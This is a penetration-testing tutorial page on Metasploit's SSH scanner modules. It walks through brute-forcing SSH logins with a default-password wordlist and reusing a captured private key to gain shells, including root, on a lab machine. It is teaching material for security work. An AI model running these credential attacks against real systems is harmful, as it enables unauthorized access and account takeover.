Scanner SSH Auxiliary Modules a11y.text Scanner SSH Auxiliary Modules ssh_login a11y.text ssh_login The ssh_login module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but it can also perform brute force login attempts. We will pass a file to the module containing usernames and passwords separated by a space as shown below.

root@kali : ~ # head /usr/share/metasploit-framework/data/wordlists/root_userpass.txt root

root !root

root Cisco

root NeXT

root QNX

root admin

root attack

root ax400

root bagabu

root blablabla Next, we load up the scanner module in Metasploit and set USERPASS_FILE to point to our list of credentials to attempt. msf > use auxiliary/scanner/ssh/ssh_login

msf auxiliary(ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.154

RHOSTS => 192.168.1.154

msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

msf auxiliary(ssh_login) > set VERBOSE false

VERBOSE => false With everything ready to go, we run the module. When a valid credential pair is found, we are presented with a shell on the remote machine. msf auxiliary(ssh_login) > run

[*] 192.168.1.154:22 - SSH - Starting buteforce

[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:25:18 -0600

[+] 192.168.1.154:22 - SSH - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin)

gid=1000(msfadmin)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),

111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server

#1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ssh_login) > sessions -i 1

[*] Starting interaction with 1...

id

uid=1000(msfadmin) gid=1000(msfadmin)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),

111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

exit

[*] Command shell session 1 closed.

msf auxiliary(ssh_login) > ssh_login_pubkey a11y.text ssh_login_pubkey Using public key

authentication for SSH is highly regarded as being far more secure than using usernames and

passwords to authenticate. The caveat to this is that if the private key portion of the key pair is not

kept secure, the security of the configuration is thrown right out the window. If, during an

engagement, you get access to a private SSH key, you can use the ssh_login_pubkey module to

attempt to login across a range of devices. msf > use auxiliary/scanner/ssh/ssh_login_pubkey

msf auxiliary(ssh_login_pubkey) > show options

Module options (auxiliary/scanner/ssh/ssh_login_pubkey):

```
   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current
database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   KEY_PATH                           yes       Filename or directory of cleartext private keys. Filenames
beginning with a dot, or ending in ".pub" will be skipped.
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts


msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
KEY_FILE => /tmp/id_rsa
msf auxiliary(ssh_login_pubkey) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154
RHOSTS => 192.168.1.154
msf auxiliary(ssh_login_pubkey) > run
```

[*] 192.168.1.154:22 - SSH - Testing Cleartext Keys

[*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user.

[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600

[+] 192.168.1.154:22 - SSH - Success: 'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ssh_login_pubkey) > sessions -i 1

[*] Starting interaction with 1...

ls

reset_logs.sh

id

uid=0(root) gid=0(root) groups=0(root)

exit

[*] Command shell session 1 closed.

msf auxiliary(ssh_login_pubkey) > Next Scanner Telnet Auxiliary Modules Prev Scanner SNMP Auxiliary Modules